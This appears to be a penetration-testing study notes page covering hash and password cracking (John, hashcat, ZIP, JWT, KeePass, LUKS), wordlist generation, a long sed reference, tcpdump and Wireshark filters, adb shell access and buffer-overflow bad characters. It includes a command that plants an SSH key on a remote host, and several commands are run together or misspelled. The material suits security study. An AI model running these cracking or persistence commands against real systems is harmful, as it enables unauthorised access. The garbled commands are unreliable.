#### Hash-identifier ### John ``` john --rule --wordlist=/usr/share/wordlists/rockyou.txt file_with_hash.txt ``` #### unshadow ``` unshadow passwd.txt shadow.txt > tojohn.txt ``` ### ZIP ``` fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ``` zip2john file.zip > zip.johnjohn zip.john ``` ### 7z ``` cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ``` #Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john ``` ### PDF ``` apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### JWT ``` git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack​#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt​#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John ``` ### NTLM cracking ``` Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --fomrat=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ``` sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Lucks image #### Method 1 Install: ​ ``` bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` #### Method 2 ``` cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshash cryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` ### Mysql ``` #John hash format:$mysqlna$*dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` **Hash examples:** ​ ### Hash-identifier ### Crunch ``` crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabetcrunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)​@ Lower case alpha characters, Upper case alpha characters% Numeric characters^ Special characters including spaccrunch 6 8 -t ,@@^^%% ``` ### Cewl ``` cewl --with-numbers -d 2 -m 5 -w words.txt http://$ip/ ``` ### John mutation Read ***/etc/john/john.conf*** and configure it ``` john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat ``` hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Cracking Linux Hashes - /etc/shadow file ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Cracking Windows Hashes ``` 3000 | LM | Operating-Systems1000 | NTLM | Operating-Systems ``` Cracking Common Application Hashes ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` ​ # Useful Linux Commands ``` # add text to the start of a line sed -i -e 's_.*_REPLACETHIS&_' ``` ``` # Will remove the word Javascript from the file cewlfile cat cewlfile | tr -d \[:CHAR:Javascript\] ``` ## RTFM ### Useful tool help remind you of command syntax ``` git clone https://github.com/leostat/rtfm cd rtfm pip3 install terminaltables ./rtfm.py -e hydra #EXAMPLE ``` ``` # 1. redo last command but as root sudo !! # 2. open an editor to run a command ctrl+x+e # 3. create a super fast ram disk mkdir -p /mnt/ram mount -t tmpfs tmpfs /mnt/ram -o size=8192M # 4. don't add command to history (note the leading space) ls -l # 5. fix a really long command that you messed up fc # 6. tunnel with ssh (local port 3337 -> remote host's 127.0.0.1 on port 6379) ssh -L 3337:127.0.0.1:6379 root@emkc.org -N # 7. quickly create folders mkdir -p folder/{sub1,sub2}/{sub1,sub2,sub3} # 8. intercept stdout and log to file cat file | tee -a log | cat > /dev/null # bonus: exit terminal but leave all processes running disown -a && exit ``` ## Commands Explained ``` https://explainshell.com/ ``` ### Kill a process using a port ``` lsof -t -i:443 kill -9 $PID ``` ## Append to end of file ``` echo 'text here' >> filename ``` ## sed ``` FILE SPACING: # remove white spacing from a file sed "s/^[ \t]*//" -i $filename # extract ports from nmap scan sed 's/\/tcp.*//g' ports # then use this command to pring out ports as comma seperated values awk -vORS=, '{ print $1 }' ports | sed 's/,$/\n/' # double space a file sed G # double space a file which already has blank lines in it. Output file # should contain no more than one blank line between lines of text. sed '/^$/d;G' # triple space a file sed 'G;G' # undo double-spacing (assumes even-numbered lines are always blank) sed 'n;d' # insert a blank line above every line which matches "regex" sed '/regex/{x;p;x;}' # insert a blank line below every line which matches "regex" sed '/regex/G' # insert a blank line above and below every line which matches "regex" sed '/regex/{x;p;x;G;}' NUMBERING: # number each line of a file (simple left alignment). Using a tab (see # note on '\t' at end of file) instead of space will preserve margins. sed = filename | sed 'N;s/\n/\t/' # number each line of a file (number on left, right-aligned) sed = filename | sed 'N; s/^/ /; s/ *\(.\{6,\}\)\n/\1 /' # number each line of file, but only print numbers if line is not blank sed '/./=' filename | sed '/./N; s/\n/ /' # count lines (emulates "wc -l") sed -n '$=' TEXT CONVERSION AND SUBSTITUTION: # IN UNIX ENVIRONMENT: convert DOS newlines (CR/LF) to Unix format. sed 's/.$//' # assumes that all lines end with CR/LF sed 's/^M$//' # in bash/tcsh, press Ctrl-V then Ctrl-M sed 's/\x0D$//' # works on ssed, gsed 3.02.80 or higher # IN UNIX ENVIRONMENT: convert Unix newlines (LF) to DOS format. sed "s/$/`echo -e \\\r`/" # command line under ksh sed 's/$'"/`echo \\\r`/" # command line under bash sed "s/$/`echo \\\r`/" # command line under zsh sed 's/$/\r/' # gsed 3.02.80 or higher # IN DOS ENVIRONMENT: convert Unix newlines (LF) to DOS format. sed "s/$//" # method 1 sed -n p # method 2 # IN DOS ENVIRONMENT: convert DOS newlines (CR/LF) to Unix format. # Can only be done with UnxUtils sed, version 4.0.7 or higher. The # UnxUtils version can be identified by the custom "--text" switch # which appears when you use the "--help" switch. Otherwise, changing # DOS newlines to Unix newlines cannot be done with sed in a DOS # environment. Use "tr" instead. sed "s/\r//" infile >outfile # UnxUtils sed v4.0.7 or higher tr -d \r outfile # GNU tr version 1.22 or higher # delete leading whitespace (spaces, tabs) from front of each line # aligns all text flush left sed 's/^[ \t]*//' # see note on '\t' at end of file # delete trailing whitespace (spaces, tabs) from end of each line sed 's/[ \t]*$//' # see note on '\t' at end of file # delete BOTH leading and trailing whitespace from each line sed 's/^[ \t]*//;s/[ \t]*$//' # insert 5 blank spaces at beginning of each line (make page offset) sed 's/^/ /' # align all text flush right on a 79-column width sed -e :a -e 's/^.\{1,78\}$/ &/;ta' # set at 78 plus 1 space # center all text in the middle of 79-column width. In method 1, # spaces at the beginning of the line are significant, and trailing # spaces are appended at the end of the line. In method 2, spaces at # the beginning of the line are discarded in centering the line, and # no trailing spaces appear at the end of lines. sed -e :a -e 's/^.\{1,77\}$/ & /;ta' # method 1 sed -e :a -e 's/^.\{1,77\}$/ &/;ta' -e 's/\( *\)\1/\1/' # method 2 # substitute (find and replace) "foo" with "bar" on each line sed 's/foo/bar/' # replaces only 1st instance in a line sed 's/foo/bar/4' # replaces only 4th instance in a line sed 's/foo/bar/g' # replaces ALL instances in a line sed 's/\(.*\)foo\(.*foo\)/\1bar\2/' # replace the next-to-last case sed 's/\(.*\)foo/\1bar/' # replace only the last case # substitute "foo" with "bar" ONLY for lines which contain "baz" sed '/baz/s/foo/bar/g' # substitute "foo" with "bar" EXCEPT for lines which contain "baz" sed '/baz/!s/foo/bar/g' # change "scarlet" or "ruby" or "puce" to "red" sed 's/scarlet/red/g;s/ruby/red/g;s/puce/red/g' # most seds gsed 's/scarlet\|ruby\|puce/red/g' # GNU sed only # reverse order of lines (emulates "tac") # bug/feature in HHsed v1.5 causes blank lines to be deleted sed '1!G;h;$!d' # method 1 sed -n '1!G;h;$p' # method 2 # reverse each character on the line (emulates "rev") sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' # join pairs of lines side-by-side (like "paste") sed '$!N;s/\n/ /' # if a line ends with a backslash, append the next line to it sed -e :a -e '/\\$/N; s/\\\n//; ta' # if a line begins with an equal sign, append it to the previous line # and replace the "=" with a single space sed -e :a -e '$!N;s/\n=/ /;ta' -e 'P;D' # add commas to numeric strings, changing "1234567" to "1,234,567" gsed ':a;s/\B[0-9]\{3\}\>/,&/;ta' # GNU sed sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' # other seds # add commas to numbers with decimal points and minus signs (GNU sed) gsed -r ':a;s/(^|[^0-9.])([0-9]+)([0-9]{3})/\1\2,\3/g;ta' # add a blank line every 5 lines (after lines 5, 10, 15, 20, etc.) gsed '0~5G' # GNU sed only sed 'n;n;n;n;G;' # other seds SELECTIVE PRINTING OF CERTAIN LINES: # print first 10 lines of file (emulates behavior of "head") sed 10q # print first line of file (emulates "head -1") sed q # print the last 10 lines of a file (emulates "tail") sed -e :a -e '$q;N;11,$D;ba' # print the last 2 lines of a file (emulates "tail -2") sed '$!N;$!D' # print the last line of a file (emulates "tail -1") sed '$!d' # method 1 sed -n '$p' # method 2 # print the next-to-the-last line of a file sed -e '$!{h;d;}' -e x # for 1-line files, print blank line sed -e '1{$q;}' -e '$!{h;d;}' -e x # for 1-line files, print the line sed -e '1{$d;}' -e '$!{h;d;}' -e x # for 1-line files, print nothing # print only lines which match regular expression (emulates "grep") sed -n '/regexp/p' # method 1 sed '/regexp/!d' # method 2 # print only lines which do NOT match regexp (emulates "grep -v") sed -n '/regexp/!p' # method 1, corresponds to above sed '/regexp/d' # method 2, simpler syntax # print the line immediately before a regexp, but not the line # containing the regexp sed -n '/regexp/{g;1!p;};h' # print the line immediately after a regexp, but not the line # containing the regexp sed -n '/regexp/{n;p;}' # print 1 line of context before and after regexp, with line number # indicating where the regexp occurred (similar to "grep -A1 -B1") sed -n -e '/regexp/{=;x;1!p;g;$!N;p;D;}' -e h # grep for AAA and BBB and CCC (in any order) sed '/AAA/!d; /BBB/!d; /CCC/!d' # grep for AAA and BBB and CCC (in that order) sed '/AAA.*BBB.*CCC/!d' # grep for AAA or BBB or CCC (emulates "egrep") sed -e '/AAA/b' -e '/BBB/b' -e '/CCC/b' -e d # most seds gsed '/AAA\|BBB\|CCC/!d' # GNU sed only # print paragraph if it contains AAA (blank lines separate paragraphs) # HHsed v1.5 must insert a 'G;' after 'x;' in the next 3 scripts below sed -e '/./{H;$!d;}' -e 'x;/AAA/!d;' # print paragraph if it contains AAA and BBB and CCC (in any order) sed -e '/./{H;$!d;}' -e 'x;/AAA/!d;/BBB/!d;/CCC/!d' # print paragraph if it contains AAA or BBB or CCC sed -e '/./{H;$!d;}' -e 'x;/AAA/b' -e '/BBB/b' -e '/CCC/b' -e d gsed '/./{H;$!d;};x;/AAA\|BBB\|CCC/b;d' # GNU sed only # print only lines of 65 characters or longer sed -n '/^.\{65\}/p' # print only lines of less than 65 characters sed -n '/^.\{65\}/!p' # method 1, corresponds to above sed '/^.\{65\}/d' # method 2, simpler syntax # print section of file from regular expression to end of file sed -n '/regexp/,$p' # print section of file based on line numbers (lines 8-12, inclusive) sed -n '8,12p' # method 1 sed '8,12!d' # method 2 # print line number 52 sed -n '52p' # method 1 sed '52!d' # method 2 sed '52q;d' # method 3, efficient on large files # beginning at line 3, print every 7th line gsed -n '3~7p' # GNU sed only sed -n '3,${p;n;n;n;n;n;n;}' # other seds # print section of file between two regular expressions (inclusive) sed -n '/Iowa/,/Montana/p' # case sensitive SELECTIVE DELETION OF CERTAIN LINES: # print all of file EXCEPT section between 2 regular expressions sed '/Iowa/,/Montana/d' # delete duplicate, consecutive lines from a file (emulates "uniq"). # First line in a set of duplicate lines is kept, rest are deleted. sed '$!N; /^\(.*\)\n\1$/!P; D' # delete duplicate, nonconsecutive lines from a file. Beware not to # overflow the buffer size of the hold space, or else use GNU sed. sed -n 'G; s/\n/&&/; /^\([ -~]*\n\).*\n\1/d; s/\n//; h; P' # delete all lines except duplicate lines (emulates "uniq -d"). sed '$!N; s/^\(.*\)\n\1$/\1/; t; D' # delete the first 10 lines of a file sed '1,10d' # delete the last line of a file sed '$d' # delete the last 2 lines of a file sed 'N;$!P;$!D;$d' # delete the last 10 lines of a file sed -e :a -e '$d;N;2,10ba' -e 'P;D' # method 1 sed -n -e :a -e '1,10!{P;N;D;};N;ba' # method 2 # delete every 8th line gsed '0~8d' # GNU sed only sed 'n;n;n;n;n;n;n;d;' # other seds # delete lines matching pattern sed '/pattern/d' # delete ALL blank lines from a file (same as "grep '.' ") sed '/^$/d' # method 1 sed '/./!d' # method 2 # delete all CONSECUTIVE blank lines from file except the first; also # deletes all blank lines from top and end of file (emulates "cat -s") sed '/./,/^$/!d' # method 1, allows 0 blanks at top, 1 at EOF sed '/^$/N;/\n$/D' # method 2, allows 1 blank at top, 0 at EOF # delete all CONSECUTIVE blank lines from file except the first 2: sed '/^$/N;/\n$/N;//D' # delete all leading blank lines at top of file sed '/./,$!d' # delete all trailing blank lines at end of file sed -e :a -e '/^\n*$/{$d;N;ba' -e '}' # works on all seds sed -e :a -e '/^\n*$/N;/\n$/ba' # ditto, except for gsed 3.02.* # delete the last line of each paragraph sed -n '/^$/{p;h;};/./{x;/./p;}' SPECIAL APPLICATIONS: # remove nroff overstrikes (char, backspace) from man pages. The 'echo' # command may need an -e switch if you use Unix System V or bash shell. sed "s/.`echo \\\b`//g" # double quotes required for Unix environment sed 's/.^H//g' # in bash/tcsh, press Ctrl-V and then Ctrl-H sed 's/.\x08//g' # hex expression for sed 1.5, GNU sed, ssed # get Usenet/e-mail message header sed '/^$/q' # deletes everything after first blank line # get Usenet/e-mail message body sed '1,/^$/d' # deletes everything up to first blank line # get Subject header, but remove initial "Subject: " portion sed '/^Subject: */!d; s///;q' # get return address header sed '/^Reply-To:/q; /^From:/h; /./d;g;q' # parse out the address proper. Pulls out the e-mail address by itself # from the 1-line return address header (see preceding script) sed 's/ *(.*)//; s/>.*//; s/.*[:<] *//' # add a leading angle bracket and space to each line (quote a message) sed 's/^/> /' # delete leading angle bracket & space from each line (unquote a message) sed 's/^> //' # remove most HTML tags (accommodates multiple-line tags) sed -e :a -e 's/<[^>]*>//g;/zipup.bat dir /b *.txt | sed "s/^\(.*\)\.TXT/pkzip -mo \1 \1.TXT/" >>zipup.bat ``` ## Copy output of command to clipboard ``` xclip -sel c < cat file.txt ``` Then Ctrl v to paste\ \ You may have to install xclip ``` apt-get install xclip ``` ## Crontab * Sytanx: ``` minute hour day-month month day-week CMD ``` * `1 * * * * $` \ cmd runs every minute ## Extracting archives * ``` tar xvfj test.tar.bz2 tar zxvf test.tar.gz tar zxvf test.tar gzip -d test.gz unzip test.zip zcat rockyou.txt.gz > rockyou.txt ``` ## Compressing archives * ``` tar -zcvf test.tar test gzip test zip -9 test.zip test zip -r test.zip test/ ``` ## Copy files remotely * ``` scp /path/to/local/file.txt user@targetIP:/path/to/share # local to remote scp -r user@targetIP:/path/to/share /local/share # remote to local cat ~/.ssh/id_rsa.pub | ssh user@targetIP 'cat >> .ssh/authorized_keys' ``` ## File Permissions * `t rwx rwx rwx` type / owner / group / world * Type is directory (d) or file (-). * read (r) 4 * write (w) 2 * execute (e) 1 * `chmod 755 test.sh` Make a file executable * `find . -name "*.php" -type f -exec chmod 755 {} \;` ## Finding Files * Update the database of file names on the system ``` updatedb ``` * Reads the database and shows the location of a file ``` locate file ``` * Show the path where the app is executed from ``` which app ``` * Show all the files that start with sbd ``` find / -name sbd* ``` * Show all world readable directories ``` find / -perm -o+w -type d ``` * Show all world executable directories ``` find / -perm -o+e -type d ``` ### Searching within files * Search for the pattern xxx in a fil ``` grep xxx file ``` * Search recursively for a pattern in a director ``` grep -r ``` * Search for a pattern in a zip file ``` zgrep ``` ### Locate, Which, Find ### Locate ``` updatedb # builds local database of all files on system $ locate nc.exe /usr/share/windows-binaries/nc.exe ``` ### Which Searches directories that are defined in $PATH ``` $ which ssh /usr/bin/ssh ``` ### Find More aggressive search tool that can recursively search any given path for various files ``` $ find / -name nc.exe /usr/share/windows-binaries/nc.exe /usr/share/seclists/Web-Shells/FuzzDB/nc.exe ``` ## Others * Import CA in java store ``` sudo keytool -import -alias foo -trustcacerts -keystore cacerts -file cacert.der ``` ## curl display webpage to terminal - text ``` curl $ip -s -L | html2text -width '99' | uniq ``` ### Whats running on a port ``` ss -lptn 'sport = :443' ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LmJs5OVUQ9H3vvwxI70%2F-LmZh45orKtJS7wdwFSv%2Fimage.png?alt=media\&token=49979f0c-9cb4-47e4-b78d-4d4d9e5da777) # Android {% hint style="info" %} port 5555 is the android debug port {% endhint %} ### Install adb to allow you to connect to android device ``` apt-get install adb ``` ### connect to device ``` adb connect $ip:port ``` ### get shell ``` adb shell ``` # Buffer Overflow {% content-ref url="/pages/-LhtCp9KtxPVclw59zwy" %} [The Cyber Mentor](/ippsec-videos/the-cyber-mentor) {% endcontent-ref %} ``` https://github.com/Arken2/Everything-OSCP/blob/master/Checklists/WindowsBufferOverflowChecklist.pdf ``` {% hint style="info" %} see BO videos {% endhint %} ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LVTtNLBsfnQSfqXOB3z%2F-LVTtcn1k3SWiminW9-1%2FBuffer_Overflow_Workflow.png?alt=media\&token=f643a70d-6356-4431-bee6-e7855092ae84) ## Byte Arrary ``` "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ``` the above is below is ASCII ``` ......... .. .................. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................. ¡¢£¤¥¦§¨©ª«¬.®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö. ``` ## Bad Characters ### Common Bad Characters ``` 0x00 NULL (\0) 0x09 Tab (\t) 0x0a Line Feed (\n) 0x0d Carriage Return (\r) 0xff Form Feed (\f) ``` # TCP Dump and Wireshark Commands ``` https://www.rationallyparanoid.com/articles/tcpdump.html ``` ``` In most cases you will need root permission to be able to capture packets on an interface. Using tcpdump (with root) to capture the packets and saving them to a file to analyze with Wireshark (using a regular account) is recommended over using Wireshark with a root account to capture packets on an "untrusted" interface. See the Wireshark security advisories for reasons why. See the list of interfaces on which tcpdump can listen: tcpdump -D Listen on interface eth0: tcpdump -i eth0 Listen on any available interface (cannot be done in promiscuous mode. Requires Linux kernel 2.2 or greater): tcpdump -i any Be verbose while capturing packets: tcpdump -v Be more verbose while capturing packets: tcpdump -vv Be very verbose while capturing packets: tcpdump -vvv Be verbose and print the data of each packet in both hex and ASCII, excluding the link level header: tcpdump -v -X Be verbose and print the data of each packet in both hex and ASCII, also including the link level header: tcpdump -v -XX Be less verbose (than the default) while capturing packets: tcpdump -q Limit the capture to 100 packets: tcpdump -c 100 Record the packet capture to a file called capture.cap: tcpdump -w capture.cap Record the packet capture to a file called capture.cap but display on-screen how many packets have been captured in real-time: tcpdump -v -w capture.cap Display the packets of a file called capture.cap: tcpdump -r capture.cap Display the packets using maximum detail of a file called capture.cap: tcpdump -vvv -r capture.cap Display IP addresses and port numbers instead of domain and service names when capturing packets (note: on some systems you need to specify -nn to display port numbers): tcpdump -n Capture any packets where the destination host is 192.168.1.1. Display IP addresses and port numbers: tcpdump -n dst host 192.168.1.1 Capture any packets where the source host is 192.168.1.1. Display IP addresses and port numbers: tcpdump -n src host 192.168.1.1 Capture any packets where the source or destination host is 192.168.1.1. Display IP addresses and port numbers: tcpdump -n host 192.168.1.1 Capture any packets where the destination network is 192.168.1.0/24. Display IP addresses and port numbers: tcpdump -n dst net 192.168.1.0/24 Capture any packets where the source network is 192.168.1.0/24. Display IP addresses and port numbers: tcpdump -n src net 192.168.1.0/24 Capture any packets where the source or destination network is 192.168.1.0/24. Display IP addresses and port numbers: tcpdump -n net 192.168.1.0/24 Capture any packets where the destination port is 23. Display IP addresses and port numbers: tcpdump -n dst port 23 Capture any packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers: tcpdump -n dst portrange 1-1023 Capture only TCP packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers: tcpdump -n tcp dst portrange 1-1023 Capture only UDP packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers: tcpdump -n udp dst portrange 1-1023 Capture any packets with destination IP 192.168.1.1 and destination port 23. Display IP addresses and port numbers: tcpdump -n "dst host 192.168.1.1 and dst port 23" Capture any packets with destination IP 192.168.1.1 and destination port 80 or 443. Display IP addresses and port numbers: tcpdump -n "dst host 192.168.1.1 and (dst port 80 or dst port 443)" Capture any ICMP packets: tcpdump -v icmp Capture any ARP packets: tcpdump -v arp Capture either ICMP or ARP packets: tcpdump -v "icmp or arp" Capture any packets that are broadcast or multicast: tcpdump -n "broadcast or multicast" Capture 500 bytes of data for each packet rather than the default of 68 bytes: tcpdump -s 500 Capture all bytes of data within the packet: tcpdump -s 0 ``` ## ngrep Search in a pcap file for a string on a that is set from a certain ip to a certain port ``` ngrep -I file.pcap -w "text2find" dst host $ip and port $port ``` ## Wireshark ``` https://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf ``` ``` WIRESHARK DISPLAY FILTERS · PART 1 Ethernet eth.addr eth.len eth.src eth.dst eth.lg eth.trailer eth.ig eth.multicast eth.type IEEE 802.1Q vlan.cfi vlan.id vlan.priority vlan.etype vlan.len vlan.trailer IPv4 ARP ip.addr ip.fragment.overlap.conflict ip.checksum ip.fragment.toolongfragment ip.checksum_bad ip.fragments ip.checksum_good ip.hdr_len ip.dsfield ip.host ip.dsfield.ce ip.id ip.dsfield.dscp ip.len ip.dsfield.ect ip.proto ip.dst ip.reassembled_in ip.dst_host ip.src ip.flags ip.src_host ip.flags.df ip.tos ip.flags.mf ip.tos.cost ip.flags.rb ip.tos.delay ip.frag_offset ip.tos.precedence ip.fragment ip.tos.reliability ip.fragment.error ip.tos.throughput ip.fragment.multipletails ip.ttl ip.fragment.overlap ip.version IPv6 ipv6.addr ipv6.hop_opt ipv6.class ipv6.host ipv6.dst ipv6.mipv6_home_address ipv6.dst_host ipv6.mipv6_length ipv6.dst_opt ipv6.mipv6_type ipv6.flow ipv6.nxt ipv6.fragment ipv6.opt.pad1 ipv6.fragment.error ipv6.opt.padn ipv6.fragment.more ipv6.plen ipv6.fragment.multipletails ipv6.reassembled_in ipv6.fragment.offset ipv6.routing_hdr ipv6.fragment.overlap ipv6.routing_hdr.addr ipv6.fragment.overlap.conflict ipv6.routing_hdr.left ipv6.fragment.toolongfragment ipv6.routing_hdr.type ipv6.fragments ipv6.src ipv6.fragment.id ipv6.src_host ipv6.hlim ipv6.version arp.dst.hw_mac arp.proto.size arp.dst.proto_ipv4 arp.proto.type arp.hw.size arp.src.hw_mac arp.hw.type arp.src.proto_ipv4 arp.opcode TCP tcp.ack tcp.options.qs tcp.checksum tcp.options.sack tcp.checksum_bad tcp.options.sack_le tcp.checksum_good tcp.options.sack_perm tcp.continuation_to tcp.options.sack_re tcp.dstport tcp.options.time_stamp tcp.flags tcp.options.wscale tcp.flags.ack tcp.options.wscale_val tcp.flags.cwr tcp.pdu.last_frame tcp.flags.ecn tcp.pdu.size tcp.flags.fin tcp.pdu.time tcp.flags.push tcp.port tcp.flags.reset tcp.reassembled_in tcp.flags.syn tcp.segment tcp.flags.urg tcp.segment.error tcp.hdr_len tcp.segment.multipletails tcp.len tcp.segment.overlap tcp.nxtseq tcp.segment.overlap.conflict tcp.options tcp.segment.toolongfragment tcp.options.cc tcp.segments tcp.options.ccecho tcp.seq tcp.options.ccnew tcp.srcport tcp.options.echo tcp.time_delta tcp.options.echo_reply tcp.time_relative tcp.options.md5 tcp.urgent_pointer tcp.options.mss tcp.window_size tcp.options.mss_val UDP udp.checksum udp.dstport udp.srcport udp.checksum_bad udp.length udp.checksum_good udp.port Operators eq or == ne or != gt or > lt or < ge or >= le or <= Logic and or && Logical AND or or || Logical OR xor or ^^ Logical XOR not or ! Logical NOT [n] […] Substring operator Frame Relay fr.becn fr.de fr.chdlctype fr.dlci fr.control fr.dlcore_control fr.control.f fr.ea fr.control.ftype fr.fecn fr.control.n_r fr.lower_dlci fr.control.n_s fr.nlpid fr.control.p fr.second_dlci fr.control.s_ftype fr.snap.oui fr.control.u_modifier_cmd fr.snap.pid fr.control.u_modifier_resp fr.snaptype fr.cr fr.third_dlci fr.dc fr.upper_dlci ICMPv6 icmpv6.all_comp icmpv6.checksum icmpv6.option.name_type.fqdn icmpv6.option.name_x501 icmpv6.checksum_bad icmpv6.code icmpv6.option.rsa.key_hash icmpv6.option.type icmpv6.comp icmpv6.haad.ha_addrs icmpv6.ra.cur_hop_limit icmpv6.ra.reachable_time icmpv6.identifier icmpv6.option icmpv6.ra.retrans_timer icmpv6.ra.router_lifetime icmpv6.option.cga icmpv6.option.length icmpv6.recursive_dns_serv icmpv6.type icmpv6.option.name_type RIP BGP bgp.aggregator_as bgp.mp_reach_nlri_ipv4_prefix bgp.aggregator_origin bgp.mp_unreach_nlri_ipv4_prefix bgp.as_path bgp.multi_exit_disc bgp.cluster_identifier bgp.next_hop bgp.cluster_list bgp.nlri_prefix bgp.community_as bgp.origin bgp.community_value bgp.originator_id bgp.local_pref bgp.type bgp.mp_nlri_tnl_id bgp.withdrawn_prefix HTTP http.accept http.proxy_authorization http.accept_encoding http.proxy_connect_host http.accept_language http.proxy_connect_port http.authbasic http.referer http.authorization http.request http.cache_control http.request.method http.connection http.request.uri http.content_encoding http.request.version http.content_length http.response http.content_type http.response.code http.cookie http.server http.date http.set_cookie http.host http.transfer_encoding http.last_modified http.user_agent http.location http.www_authenticate http.notification http.x_forwarded_for http.proxy_authenticate PPP ppp.address ppp.direction ppp.control ppp.protocol rip.auth.passwd rip.ip rip.route_tag rip.auth.type rip.metric rip.routing_domain rip.command rip.netmask rip.version rip.family rip.next_hop MPLS mpls.bottom mpls.oam.defect_location mpls.cw.control mpls.oam.defect_type mpls.cw.res mpls.oam.frequency mpls.exp mpls.oam.function_type mpls.label mpls.oam.ttsi mpls.oam.bip16 mpls.ttl ICMP 